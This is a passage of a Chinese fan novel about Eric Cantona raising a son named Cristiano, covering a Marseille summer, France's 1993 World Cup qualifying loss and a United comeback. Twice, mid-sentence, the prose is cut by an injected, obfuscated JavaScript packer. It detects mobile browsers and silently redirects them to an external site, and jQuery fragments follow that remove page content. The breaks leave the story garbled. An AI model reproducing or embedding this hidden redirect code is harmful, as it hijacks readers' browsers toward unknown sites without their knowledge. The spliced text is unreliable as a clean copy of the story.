门关上后，坎通纳突然将儿子搂进怀里。克里斯蒂亚诺闻到父亲外套上的雨水和汽油味——这证明他是飙车赶回来的。 “疼吗？” “疼。” “记住这种疼。”坎通纳松开他，眼神恢复冷峻，“等你捧起奖杯那天，它会比任何掌声都动听。” 返程大巴上，克里斯蒂亚诺靠着车窗昏睡。汤姆偷偷戳了戳他缠着绷带的脚：“喂，最后那个助攻太神了！” “是爸爸教的……”克里斯蒂亚诺迷迷糊糊地说，“他说……真正的杀手……要会隐藏杀机……” 三天后，卡灵顿基地的医疗室里，弗格森正在看比赛录像。他按下暂停键，画面定格在克里斯蒂亚诺挑传助攻的瞬间。 “下赛季让他跳级到U10。”弗格森对费兰说，“和绵羊待久了，狼会失去利齿。” 深夜，坎通纳背着熟睡的儿子回家。艾米莉站在门口，目光扫过丈夫肩头的雨水和儿子脏兮兮的球鞋：“你们俩简直……” “像吗？”坎通纳轻声问。 “一模一样。” 卧室里，克里斯蒂亚诺在梦中呢喃：“左脚……变向要快……”他的书包里，护腿板静静躺着。窗外，曼彻斯特的星光温柔地铺在老特拉福德的穹顶上，仿佛在为某个未来传奇加冕。 13.马赛的海风 1993年的夏歇期开始了，马赛旧港的渔船鸣笛声穿透薄雾。克里斯蒂亚诺赤脚跑过湿漉漉的码头木板，怀里抱着褪色的旧足球，身后留下一串欢快的脚步声。 “慢点！小心渔网！”艾米莉的喊声从身后传来。 克里斯蒂亚诺在熟悉的蓝色渔船前急刹车，船头“伯纳德号”的字样已经斑驳。他深吸一口气，咸腥的海风灌满胸腔——这才是家的味道。 “诺亚！诺亚！”他拍打船舱门，惊飞一群海鸥。 舱门吱呀打开，探出一张被晒得黝黑的脸。诺亚·伯纳德眨了眨惺忪睡眼，突然瞪大：“克里斯？！你长高了！” 两个男孩在甲板上滚作一团，足球被遗忘在角落。诺亚的T恤上沾满鱼鳞，头发乱得像海藻：“你爸真带曼联夺冠了？我在报纸上看到照片！” “报纸呢？”克里斯蒂亚诺跳起来，“我要看！” 诺亚钻进船舱，抱出一沓用鱼线捆着的旧报纸。头版上，坎通纳高举英超奖杯的照片被海水渍晕染，但红衣7号依然耀眼。克里斯蒂亚诺的指尖抚过父亲的身影：“下次我会站在他旁边。” “吹牛！”诺亚戳他肋骨，“你现在连渔船都开不稳！” 足球突然从两人中间飞过，坎通纳不知何时出现在码头：“来场二对二？我和克里斯，你和雅克。” 诺亚的父亲雅克从船舱钻出，胡子上还挂着咖啡渍：“埃里克，我快四十岁了！” “正好锻炼心脏。”坎通纳已经脱掉皮鞋，赤脚踩上沙滩。 临时球场在退潮后的沙滩上划出。诺亚用贝壳当边线，雅克搬来两个铁桶当球门。克里斯蒂亚诺把裤腿卷到膝盖，突然发现父亲脚踝有道新伤疤——欧冠半决赛被铲伤的痕迹。 “爸爸，你的脚……” “不影响传球。”坎通纳将球挑起，稳稳停在膝盖上，“倒是你，别被诺亚的渔网战术困住。” 比赛激烈程度超出预期。雅克用打渔练就的蛮横防守撞得克里斯蒂亚诺东倒西歪，诺亚则像条泥鳅在沙滩上滑行。比分2：2时，坎通纳突然使出一记插花脚传球，克里斯蒂亚诺凌空抽射，足球撞进铁桶的巨响惊飞整片海鸥。 “曼联式进球！”诺亚瘫在沙滩上哀嚎，“这不公平！” “公平是弱者的借口。”坎通纳拉起儿子，“去帮雅克收网吧，抵你的进球奖金。” 午餐在伯纳德家的露天餐桌进行。玛丽安端出整锅马赛鱼汤，克里斯蒂亚诺的勺子悬在半空：“诺亚，你的手怎么了？” 诺亚藏起缠着绷带的右手：“上周收锚链被划的。反正我又不当球员。” “但你说要当最棒的渔夫！” “克里斯，”艾米莉轻声提醒，“别用你的标准要求别人。” 雅克却切开面包递过去：“伤疤是男人的勋章。克里斯，明天跟我们的船出海？” 海浪轻摇渔船，克里斯蒂亚诺趴在船舷边，看父亲和雅克撒网。他的足球安静地躺在鱼筐里，被阳光晒得发烫。 “曼联的球场有这么大吗？”诺亚比划着海平面。 “更大，但是……”克里斯蒂亚诺抓了把海水，“没有这种自由的味道。” 坎通纳的渔网在空中绽开银花，突然对儿子喊：“克里斯！接住！” 一条挣扎的鲭鱼飞来，克里斯蒂亚诺手忙脚乱抱住，和诺亚笑倒在甲板上。艾米莉按下快门，胶片上定格了丈夫的笑脸。 傍晚归航时，克里斯蒂亚诺发现父亲在船尾摆弄几个椰子。坎通纳用匕首削出平面：“马赛最好的球场在这里。” 椰子在沙滩上被摆成三角阵，随浪起伏不定。克里斯蒂亚诺的球鞋陷进湿沙，第一次触球就被椰子撞歪了路线。 “重心放低！”坎通纳的声音混着海风，“想象这是英超后卫的腿。” 当夕阳把椰子染成金色时，克里斯蒂亚诺终于能连续绕过三个“后卫”。诺亚坐在礁石上鼓掌：“比开渔船难多了！” 几天后，马赛旧港区的露天咖啡馆里，克里斯蒂亚诺正用吸管搅动着柠檬水里的冰块。诺亚突然神秘兮兮地凑过来：“知道今天什么日子吗？” “周三？”克里斯蒂亚诺茫然地抬头。 “笨蛋！是马赛U9选拔赛！”诺亚拍出一张皱巴巴的海报，“我爸说青训营的皮埃尔教练会来选人。” 克里斯蒂亚诺的吸管停在半空。他看向不远处正在和雅克交谈的父亲——坎通纳穿着简单的白T恤，墨镜推在头顶，看起来和普通马赛渔民没什么两样。 “爸爸不会同意的，”克里斯蒂亚诺戳着冰块，“他说我现在只能接受曼联青训体系的训练。” 诺亚翻了个白眼：“就踢场友谊赛而已！难道英超球星的儿子怕输？” 激将法立刻生效。半小时后，两个男孩偷偷溜到了港口小学的球场。简陋的泥地球场上，二十多个当地男孩正在热身。克里斯蒂亚诺的曼联训练服引来一片口哨声。 “哟，英国佬回来了！”一个扎着小辫的男孩用脚挑起足球，“听说你爸在曼联当替补？” 克里斯蒂亚诺的脸瞬间涨红：“我爸爸是英超冠军！” “证明给我看。“小辫男孩把球抛过来，“一对一，三球定胜负。” 场边迅速围起人墙。诺亚紧张地拽住克里斯蒂亚诺的衣角：“那个是马赛U10的队长，上个月刚把对手撞骨折……” 第一回合，克里斯蒂亚诺试图用速度突破，却在泥地上滑了个趔趄。小辫男孩大笑着带球过人，轻松推射空门。 “0：1！”围观的孩子起哄。 克里斯蒂亚诺抹了把脸上的泥，突然想起父亲在沙滩上的训练。第二回合，他放慢节奏，在对方冲撞瞬间突然变向，用脚尖将球挑起——足球从小辫男孩头顶飞过，稳稳落入球门！ “1：1！”诺亚跳起来欢呼。 决胜球时，小辫男孩直接亮出鞋钉。克里斯蒂亚诺本能地护住球，被撞倒在边线附近的碎石堆上。手肘火辣辣地疼，但他立刻爬起来：“继续！” 就在这时，场边突然安静下来。坎通纳高大的身影出现在球场入口，墨镜后的表情难以捉摸。 “爸爸，我……” 坎通纳径直走到小辫男孩面前：“你踢得不错，但真正的球员不需要靠伤人取胜。”他转向儿子，“回家处理伤口。” 回程路上，克里斯蒂亚诺忐忑不安地偷瞄父亲。路过面包店时，坎通纳突然停下：“买个巧克力可颂？” “你不生气？” “我生气的是你撒谎。”坎通纳推开面包店的门，“但面对挑衅不退缩……这点做得不错。” 第二天清晨，坎通纳反常地没有叫醒儿子训练。克里斯蒂亚诺光脚溜下楼，发现厨房桌上摆着纸条：和你雅克叔叔出海，中午回来。自己练30分钟控球。——爸爸。 诺亚家的渔船已经离港。克里斯蒂亚诺抱着足球来到沙滩，却发现昨天的对手们正在踢比赛。小辫男孩远远地喊：“英国佬！敢来场正式比赛吗？” 犹豫片刻，克里斯蒂亚诺走向球场：“我踢前锋。” 泥地球场的比赛比想象中艰难。没有战术布置，没有规范裁判，甚至没有边线。克里斯蒂亚诺很快适应了节奏，在第六分钟用一记挑射破门。 “漂亮！”场边突然响起掌声。克里斯蒂亚诺转身，看见皮埃尔教练——马赛青训的传奇球探，正和父亲站在一起。 坎通纳不知何时回来了，海风把他的衬衫吹得猎猎作响。他对儿子点点头，继续和皮埃尔交谈：“……不，他不会加入马赛青训。” “至少让我给他做个测试！”皮埃尔激动地比划，“那孩子的变向能力……” 坎通纳的声音突然拔高：“您当年也是这样评价我的，然后呢？把我按在替补席整整一年！” 克里斯蒂亚诺的足球滚到两人脚边。皮埃尔弯腰捡球，苦笑着摇头：“埃里克，你还在记恨那件事……” “爸爸？”克里斯蒂亚诺小心翼翼地问，“你们认识？” “很久以前的事了。”坎通纳把球抛回给儿子，“皮埃尔教练认为你该留在马赛训练。” 克里斯蒂亚诺看看父亲，又看看满脸期待的皮埃尔，突然说：“我要回曼联。费兰教练说下周要教我新的弧线球踢法。” 皮埃尔遗憾地摊手：“坎通纳家的倔强，一脉相承。” 回伯纳德家的路上，父子俩沉默地走过熟悉的街道。坎通纳突然在一家旧书店前停下：“想看场真正的马赛足球吗？” 当晚，他们挤进韦洛德罗姆球场的南看台。马赛对阵巴黎圣日耳曼的比赛激烈胶着，球迷的歌声震耳欲聋。克里斯蒂亚诺坐在父亲肩头，突然发现坎通纳在跟着唱马赛队歌——嘴唇开合间，是深藏多年的乡愁。 “爸爸，你还会回马赛踢球吗？” 坎通纳把儿子放下来，整了整他的衣领：“有些路，只能向前走。” 球场的灯光照亮父亲眼里的复杂情绪——那是海水也冲不淡的执念。 马赛老城区的石板路被晒得发烫，克里斯蒂亚诺抱着足球，跟在父亲身后走进一家不起眼的体育用品店。门铃叮当作响，柜台后面抬起头的老者突然瞪大眼睛。 “埃里克·坎通纳！”老者绕过柜台，一瘸一拐地快步走来，“两年没见了！” 坎通纳难得地露出微笑，轻拍老者的肩膀：“雷蒙，你的腿还是老样子？” “比你的脾气好多了。“老者雷蒙转向克里斯蒂亚诺，“这就是小坎通纳？都长这么大了？眼神和你当年一模一样。” 克里斯蒂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15532220|170686||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 亚诺好奇地打量着这家堆满旧球鞋和泛黄照片的店铺。墙上挂着一张1988年马赛队的合影，年轻的父亲站在角落，眼神桀骜。 “来订制球鞋。”坎通纳从背包拿出图纸，“按照这个脚模做。” 雷蒙戴上老花镜细看：“天啊，这足弓弧度……简直是你当年的翻版。”他蹲下来捏了捏克里斯蒂亚诺的脚踝，“肌肉发育比同龄人快，需要特别支撑。” 克里斯蒂亚诺不安地扭动脚趾：“爸爸，我的球鞋还能穿……” “英超的场地和马赛不同。”坎通纳指着图纸后跟处，“这里加三毫米缓震层。” 雷蒙翻出皮尺开始测量，突然问：“听说曼联给你开了天价续约合同？” “报纸总爱夸张。”坎通纳岔开话题，“周四能取货吗？我们周末回曼彻斯特。” 回程路过港口球场时，一群孩子正在踢比赛。克里斯蒂亚诺放慢脚步，目光黏在飞驰的足球上。坎通纳突然停下：“去吧，再踢一场告别赛。” “真的可以？” “六点前回来吃晚饭。”坎通纳把手机塞给儿子，“别再把伤口藏着了。” 克里斯蒂亚诺像出笼的小鸟冲向球场。这次没有挑衅，孩子们自动把他分到弱势的一方。泥地球场上的配合毫无章法，却有种老特拉福德没有的自由快乐。他连续过了四个人打进单刀，落地时才发现膝盖又擦破了皮。 “你爸爸真是那个坎通纳？”比赛间隙，对方门将好奇地问，“他会不会骂你踢野球？” 克里斯蒂亚诺用T恤下摆擦汗：“爸爸说，街头足球能练就英超学不到的技巧。” 夕阳西沉时，比分定格在7：5。克里斯蒂亚诺的球队输了，但他笑得比任何时候都开心。小辫男孩递来一瓶冰镇汽水：“下周我们去尼斯比赛，你要是没回英国就好了。” 诺亚不知何时出现在场边，拎着两条新鲜海鲈鱼：“你爸让我来抓人！我妈妈做了海鲜饭。” 晚餐在伯纳德家的葡萄架下进行。雅克开了一桶自酿葡萄酒，坎通纳破例喝了半杯。克里斯蒂亚诺和诺亚在餐桌下偷偷分享一罐可乐，脚边躺着那只沾满泥巴的足球。 “埃里克，”雅克突然正色道，“有件事我一直想说。”他指向克里斯蒂亚诺，“克里斯身上流着马赛的血，你不能永远把他关在英超的规矩里。” 餐桌上骤然安静。坎通纳放下酒杯：“我带他回来，就是不想让他忘记根源。” “那就每年夏天都回来！”玛丽安插话，“让他在港口球场疯跑，和诺亚出海钓鱼。天知道，这孩子笑起来多像小时候的你。” 克里斯蒂亚诺屏住呼吸，等待父亲的回答。晚风送来远处渔船的汽笛声，坎通纳的目光扫过儿子期待的脸，最终点了点头：“成交。” 睡前，克里斯蒂亚诺发现父亲独自在阳台抽烟——这个习惯在曼联时绝对看不到。他抱着足球蹭过去：“爸爸，马赛的星星比曼彻斯特亮。” 坎通纳掐灭烟头：“因为这里没有工业污染。” “不是，”克里斯蒂亚诺指向港口的灯塔，“是因为离海近。” 坎通纳突然把儿子抱起来放在栏杆上——八岁的男孩惊叫一声，随即被眼前的海港夜景震撼。月光下的马赛像幅流动的油画，渔船灯火与星空连成一片。 “记住这个画面。”坎通纳的声音罕见地柔和，“将来无论你站得多高，这里都是你出发的地方。” 克里斯蒂亚诺的小腿在空中轻晃：“爸爸，你第一次进球的球场还在吗？” “改建成超市了。”坎通纳指向远处的一片亮光，“但海风还是同样的味道。” 最后一晚，父子俩在沙滩上练到深夜。坎通纳示范了一种新的挑球技巧，足球在月光下划出银色的弧线。克里斯蒂亚诺尝试了二十多次，终于在第二十七次成功复刻。 “不错，”坎通纳接住弹回的球，“但英超后卫不会站着让你过。” “我会练到他们追不上为止！” 返程航班上，克里斯蒂亚诺趴在舷窗边，看着蔚蓝的地中海渐渐远去。他的背包里装着雷蒙制作的球鞋、诺亚送的贝壳项链，还有一张马赛U9孩子们签名的照片。 “爸爸，”他突然问，“我们明年真的能回来吗？” 坎通纳正翻阅曼联季前赛手册，闻言合上文件：“如果你完成两个条件。” “什么条件？” “第一，左脚射门成功率提升到85%。” “第二呢？” 坎通纳望向云层下的马赛轮廓：“第二，永远记得今天海风的方向。” 克里斯蒂亚诺似懂非懂地点头，小手指在舷窗上勾勒出7号的形状。空乘送来饮料时，这个男孩正对着云海练习脚踝转动——仿佛那里有个看不见的足球。 14.红与蓝的誓言 1993年11月17日，巴黎王子公园球场。 终场哨声响起，比分牌上的数字刺痛着每一个法国人的眼睛——保加利亚2:1法国。 埃里克·坎通纳站在中圈，汗水顺着他的脸颊滑落，浸湿了球衣的领口。他缓缓蹲下，手指深深插进草皮，仿佛想要抓住什么，却只抓到了一把湿冷的泥土。 “埃里克……”队友德尚走过来，伸手想拉他起来，但坎通纳只是摇了摇头。 “我们输了。”他低声说，声音沙哑得像是被砂纸磨过。 德尚沉默了一会儿，最终只是拍了拍他的肩膀，转身走向更衣室。 坎通纳没有立刻起身。他盯着球门的方向，那里站着保加利亚的门将，正兴奋地挥舞着拳头。法国队的世界杯梦，又一次倒在了预选赛上。 ——连续两届，无缘世界杯。 更衣室里安静得可怕。 没有人说话，只有淋浴间的水声和偶尔传来的叹息。坎通纳坐在自己的位置上，低着头，手指无意识地摩挲着球袜上的队徽。 “埃里克。”法国队主帅霍利尔站在门口，声音低沉，“赛后发布会，你得去。” 坎通纳抬起头，眼神疲惫：“我说什么？‘我们尽力了’？” 霍利尔沉默了一瞬，最终只是叹了口气：“球迷需要听到你的声音。” 坎通纳扯了扯嘴角，站起身，抓起外套往外走。 发布会现场，闪光灯刺得他眼睛发疼。 “坎通纳先生，法国队再次无缘世界杯，你认为问题出在哪里？” “坎通纳先生，你是否考虑过退出国家队？” “坎通纳先生，曼联球迷担心你的状态会受到影响……” 问题一个接一个砸过来，坎通纳的手指在桌下微微收紧。 “我们输了。”他终于开口，声音平静得可怕，“没有借口，没有理由，就是输了。” “至于国家队……”他停顿了一下，眼神微微暗沉，“只要法国还需要我，我就会继续踢下去。” 回到酒店时，已经是深夜。 坎通纳推开房门，发现艾米莉正坐在床边等他，手里拿着一杯热牛奶。 “克里斯呢？”他低声问。 “睡了。”艾米莉把牛奶递给他，“他一直在等你，但太晚了，我让他先休息。” 坎通纳接过杯子，温热透过掌心传来。他低头看着牛奶，突然笑了：“他是不是又偷偷练球了？” 艾米莉无奈地点头：“在浴室里用毛巾卷成球踢，被我抓到了。” 坎通纳的笑容淡了几分。他走到窗边，望着巴黎的夜色，沉默了很久。 “莉莉。”他忽然开口，“我是不是……让很多人失望了？” 艾米莉走到他身旁，轻轻握住他的手：“你只是输了一场比赛，埃里克。” “不。”坎通纳摇头，声音低沉，“我们输的是整个世界杯。” 艾米莉没说话，只是靠在他肩上。 窗外，巴黎的灯火依旧明亮，但坎通纳的心里，却像是被什么东西狠狠挖走了一块。 第二天清晨，坎通纳被一阵轻微的响动惊醒。 他睁开眼，发现克里斯蒂亚诺正蹑手蹑脚地往他床边放什么东西。 “克里斯。”他哑着嗓子叫了一声。 克里斯蒂亚诺吓了一跳，手里的东西差点掉在地上——那是一张画，画上是穿着法国队服的坎通纳，高举着大力神杯。 “爸爸！”克里斯蒂亚诺有些慌乱，“我、我只是想……” 坎通纳坐起身，伸手接过那张画。画得很粗糙，但能看出小家伙花了不少心思，甚至还在角落歪歪扭扭地写了一句——“爸爸是世界上最棒的球员！” 坎通纳盯着画看了很久，喉咙忽然有些发紧。 “克里斯。”他低声问，“如果爸爸永远拿不到世界杯，你会失望吗？” 克里斯蒂亚诺眨了眨眼睛，毫不犹豫地摇头：“不会！” “为什么？” “因为……”克里斯蒂亚诺想了想，突然挺起胸膛，一脸认真，“等我长大了，我会替爸爸赢回来！” 坎通纳愣住了。 下一秒，他一把将儿子搂进怀里，用力揉了揉他的头发。 “好。”他低声说，声音微微发颤，“那我等你。” 曼彻斯特的清晨总是带着湿冷的雾气。坎通纳站在卡灵顿训练基地的草坪上，深深吸了一口气。草皮的味道混合着泥土的腥气，让他感到一丝真实——比起巴黎那场噩梦般的比赛，这里至少还能让他找到脚踏实地的感觉。 “埃里克，你来得比我想象中早。”弗格森的声音从背后传来，苏格兰口音在晨雾中显得格外清晰。 坎通纳没有转身，只是轻轻踢了踢脚下的草皮。“老板，我想加练。” 弗格森走到他身旁，递过一杯热气腾腾的咖啡。“先把这喝了，我可不想看到曼联的国王冻僵在自己的训练场上。” 坎通纳接过杯子，温热的触感让他意识到自己的手指有多冰冷。他低头抿了一口，苦涩的液体滑过喉咙，让他不由自主地皱了皱眉。 “法国的事情，我听说了。”弗格森直视前方，语气平静得就像在讨论今天的天气。 坎通纳的手指微微收紧。“我不需要安慰，老板。” “谁说要安慰你了？”弗格森突然转头瞪了他一眼，“我是来告诉你，周六对阵利物浦的比赛，我需要一个百分之百的坎通纳。不是那个在巴黎垂头丧气的法国人，是曼联的国王。明白吗？” 坎通纳愣住了。他本以为会听到长篇大论的安慰，或是小心翼翼的试探，却没想到是这样的直截了当。 “我……”他张了张嘴，却发现自己不知道该说什么。 弗格森拍了拍他的肩膀，力道大得几乎让他踉跄了一下。“去热身吧，小子。吉格斯他们马上就到了，别让他们看到你这副样子。” 坎通纳望着弗格森离去的背影，突然觉得胸口那股郁结的气散了一些。他深吸一口气，将剩下的咖啡一饮而尽，然后开始绕着训练场慢跑。 渐渐地，队友们陆续到来。最先到的是吉格斯，威尔士人看到坎通纳时明显愣了一下，但很快露出了然的笑容。 “看来有人比我还积极。”吉格斯将球放在地上，轻轻踢给坎通纳，“来一脚？” 坎通纳稳稳停住球，突然一个假动作晃过吉格斯，抬脚射门。球划过一道弧线，精准地飞入球门死角。 “见鬼！”吉格斯夸张地揉了揉眼睛，“看来法国人的坏心情一点都没影响他的脚法。” 坎通纳终于露出一丝真心的笑容。“再来？” 训练结束后，坎通纳发现自己的更衣柜里多了一张纸条。上面用歪歪扭扭的英文写着：“爸爸，我放学后会在老地方等你。——克里斯” 他盯着纸条看了很久，嘴角不自觉地上扬。这就是他的儿子，永远知道怎么让他振作起来。 老地方是指训练基地后面的一片小空地，那里有棵老橡树，树下放着几个旧轮胎，是克里斯蒂亚诺最喜欢的“训练场”。当坎通纳走到那里时，果然看到一个小小的身影正在对着轮胎练习射门。 “左脚！克里斯！用你的左脚！”坎通纳站在场边喊道。 克里斯蒂亚诺转过头，脸上立刻绽放出灿烂的笑容。他放下球，飞快地跑过来扑进坎通纳怀里。“爸爸！你今天踢得怎么样？” 坎通纳揉了揉儿子的头发，感受着怀里温暖的重量。“还不错。你呢？在学校怎么样？” “数学考试拿了满分！”克里斯蒂亚诺骄傲地宣布，然后突然压低声音，“但是……我把足球偷偷带进教室被老师发现了。” 坎通纳挑了挑眉。“然后呢？” “然后老师说……”克里斯蒂亚诺模仿着老师的语气，“ ‘克里斯蒂亚诺，你爸爸会怎么想？’ ”他眨了眨眼睛，“我说，爸爸会问我用哪只脚踢的。” 坎通纳忍不住笑出声来：“来吧，让我看看你的进步。” 父子俩一直练到太阳西斜。克里斯蒂亚诺的球衣已经被汗水浸透，但他依然不知疲倦地奔跑着，一次次尝试着坎通纳教给他的新动作。 “够了，今天就到这里。”坎通纳看了看表，“妈妈该等急了。” 回家的路上，克里斯蒂亚诺突然拉住坎通纳的手。“爸爸，我今天听到有人说你……说法国队很糟糕。” 坎通纳的脚步顿了一下。他低头看着儿子担忧的眼睛，轻轻叹了口气。“他们说得没错，克里斯。我们确实踢得很糟糕。” “但是……”克里斯蒂亚诺皱着小脸，“这不公平！你明明是世界上最好的球员！” 坎通纳蹲下身，平视着儿子的眼睛。“听着，克里斯。足球就是这样，有时候你拼尽全力，还是会输。但这不重要，重要的是……”他停顿了一下，“重要的是你如何面对失败。” 克里斯蒂亚诺似懂非懂地点点头。“所以……你现在很难过吗？” 坎通纳思考了一会儿，决定诚实回答。“是的，有一点。但……”他看着儿子认真的表情，突然笑了，“但有你在，我感觉好多了。” 晚餐时，艾米莉做了坎通纳最爱的勃艮第牛肉。温暖的香气充满了整个厨房，克里斯蒂亚诺兴奋地讲述着白天的足球练习，而艾米莉则温柔地听着，时不时给父子俩添菜。 “埃里克，”当克里斯蒂亚诺上楼洗澡时，艾米莉突然开口，“弗格森今天打电话来了。” 坎通纳放下叉子。“他说什么？” “他说……”艾米莉犹豫了一下，“他说你需要时间，但曼联更需要他们的领袖。” 坎通纳沉默了一会儿，然后点点头。“他说得对。” “还有……”艾米莉从口袋里拿出一封信，“这是今天收到的，来自马赛。” 坎通纳接过信封，认出是雅克的笔迹。他拆开信，里面除了一封简短的信，还有一张照片——年幼的他和雅克在海边踢球的旧照。照片背面写着：“马赛永远记得她的儿子。” 坎通纳的喉咙突然发紧。他将照片小心地放回信封，抬头对艾米莉笑了笑。“我没事，真的。” 艾米莉伸手抚过他的脸颊。“我知道，但允许自己难过一会儿也没关系。” 夜深人静时，坎通纳站在卧室窗前，望着曼彻斯特的夜空。他想起巴黎的失利，想起球迷的失望，想起克里斯蒂亚诺坚定的眼神……突然，他感到一双小手抱住了他的腿。 “爸爸，我睡不着。”克里斯蒂亚诺仰着小脸，怀里还抱着他的足球。 坎通纳弯腰将儿子抱起。“做噩梦了？” 克里斯蒂亚诺摇摇头。“我在想……如果我以后当了球员，我要怎么才能像你一样厉害。” 坎通纳抱着儿子坐在窗边的椅子上，轻轻摇晃着。“你会比我更厉害，克里斯。我保证。” “真的吗？” “真的。”坎通纳吻了吻儿子的额头，“因为你有我没有的东西。” “什么东西？” 坎通纳微笑着说：“你有我当你的教练，还有……”他指了指克里斯蒂亚诺怀里的足球，“这么早就开始的决心。” 克里斯蒂亚诺满足地叹了口气，靠在父亲怀里渐渐入睡。坎通纳望着窗外的星光，突然觉得一切都没那么糟糕了。 法国队输了，他很失望。但此刻，抱着熟睡的儿子，感受着小家伙均匀的呼吸，他知道自己还有更重要的事情要做——不仅是作为法国球员，更是作为曼联的领袖，作 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15536597|170686||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为克里斯蒂亚诺的父亲。 明天，他会重新穿上那件红色战袍。明天，他会继续战斗。因为足球从不是一个人的游戏，而人生，也不该被一场失利定义。 周六的早晨，老特拉福德球场外早已人声鼎沸。坎通纳站在更衣室的窗前，看着球迷们陆续入场。红色的围巾，红色的旗帜，红色的球衣——这片红色的海洋让他感到一种久违的平静。 “埃里克。”布鲁斯走过来，递给他一杯热茶，“别站那儿发呆了，该热身了。” 坎通纳接过茶杯，温热透过陶瓷传递到掌心。“谢谢你，史蒂夫。” 布鲁斯耸了耸肩，“别谢我，是老板让给你的。他说法国人需要这个来‘温暖冰冷的灵魂’。”他模仿着弗格森的苏格兰口音，引得更衣室里一阵轻笑。 坎通纳也笑了。他低头啜饮了一口，茶香在口腔中弥漫。这是艾米莉常泡的那种，加了蜂蜜和柠檬。他抬头看向教练办公室的方向，弗格森正站在门口，对他点了点头。 热身时，坎通纳能感觉到球迷的目光都集中在他身上。当他完成一组冲刺跑时，看台上突然响起一阵歌声：“只有一个坎通纳，只有一个坎通纳……”渐渐地，整个球场都加入了合唱。 吉格斯跑过他身边，眨了眨眼：“看来大家都很担心你呢，法国佬。” 坎通纳没有回答，但胸口那股郁结的气似乎又散了一些。他抬头看向家属区，艾米莉和克里斯蒂亚诺正坐在那里。小家伙穿着迷你曼联球衣，兴奋地朝他挥手。 比赛开始前，弗格森在更衣室里做了简短的战术布置。最后，他看向坎通纳：“埃里克，今天你戴队长袖标。” 坎通纳愣了一下。“但是……” “今天需要你。”弗格森打断他，眼神坚定，“曼联需要她的国王回来。” 当坎通纳戴着队长袖标走出球员通道时，整个老特拉福德爆发出雷鸣般的欢呼。他深吸一口气，感受着草皮的气息，感受着袖标在手臂上的重量，感受着胸前队徽的温度。 比赛开始后，坎通纳发现自己比想象中更加专注。每一次触球，每一次跑位，每一次对抗，都让他找回那种熟悉的感觉。第三十七分钟，他在禁区边缘接到吉格斯的传球，一个假动作晃过防守队员，抬脚射门—— 球划过一道完美的弧线，直挂球门死角。 “Goal！！！埃里克·坎通纳！曼联1-0领先！”解说员的声音响彻球场。 坎通纳没有庆祝，只是站在原地，深深吸了一口气。队友们纷纷跑来拥抱他，他能感觉到他们的喜悦和鼓励。看台上，克里斯蒂亚诺激动地跳了起来，艾米莉则微笑着鼓掌。 下半场，坎通纳的状态越来越好。第六十八分钟，他送出一记精准的直塞，助攻休斯再下一城。当终场哨声响起时，比分定格在3-0，曼联取得了一场酣畅淋漓的胜利。 赛后，弗格森在更衣室里拍了拍坎通纳的肩膀：“这才是我认识的坎通纳。” 坎通纳点点头，突然说道：“老板，谢谢你的茶。” 弗格森挑了挑眉，“什么茶？我可没给你什么茶。” 坎通纳愣住了，转头看向布鲁斯。曼联队长正假装专注地系鞋带，但嘴角的笑意出卖了他。 回家的路上，克里斯蒂亚诺兴奋地描述着比赛的每一个细节。“爸爸，你那脚射门太棒了！还有那个传球！我以后也要像你一样！” 坎通纳揉了揉儿子的头发，“你会比我更棒，克里斯。” “真的吗？” “当然。”坎通纳认真地说，“只要你记住，足球不只是一场比赛，它是一种……生活的方式。” 克里斯蒂亚诺似懂非懂地点点头，然后突然问道：“爸爸，你还会为法国队踢球吗？” 坎通纳沉默了一会儿。“会，只要他们还需要我。” “那……下次我能去看你为国家队比赛吗？” “当然可以。”坎通纳微笑着说，“我保证。” 当晚，坎通纳坐在书桌前，面前摊开着一封信纸。他思考了一会儿，提笔写道： “亲爱的雅克……” 他停下笔，看向窗外。曼彻斯特的夜空星光闪烁，让他想起马赛的海边，想起和雅克一起踢椰子的日子。他继续写道： “……法国队输了，我很失望。但今天，我重新找回了踢球的快乐。我想，这就是足球——它会让你跌倒，但也会让你重新站起来。我答应过克里斯，要教他成为最好的球员。现在，我想我也应该继续努力，成为他能引以为豪的父亲和球员……” 写完后，坎通纳将信小心地折好，放进信封。他走到克里斯蒂亚诺的房间，小家伙已经睡着了，怀里还抱着那个旧足球。坎通纳轻轻地将被子往上拉了拉，在儿子额头上落下一个吻。 “晚安，我的小冠军。”他低声说。 回到卧室，艾米莉已经睡着了。坎通纳轻手轻脚地上床，却发现自己毫无睡意。他盯着天花板，思绪万千。巴黎的失利，曼联的胜利，球迷的歌声，儿子的笑容……这一切交织在一起，让他感到一种奇特的平静。 是的，法国队输了。是的，这很痛苦。但生活还在继续，足球还在继续。明天，他还会继续训练；下周末，还有另一场比赛；明年，还有另一个赛季…… 而总有一天，他会看着克里斯蒂亚诺穿上职业球员的球衣，站在他曾经站过的绿茵场上。这个念头让他不由自主地微笑起来。 坎通纳翻了个身，轻轻搂住熟睡的妻子。窗外的月光洒在地板上，形成一片银色的光斑。在这静谧的夜晚，埃里克·坎通纳终于与自己达成了和解。 足球会继续，生活也会继续。而他要做的，就是继续前进——为了曼联，为了法国，为了克里斯蒂亚诺，也为了自己。 15.国王的愤怒（1） 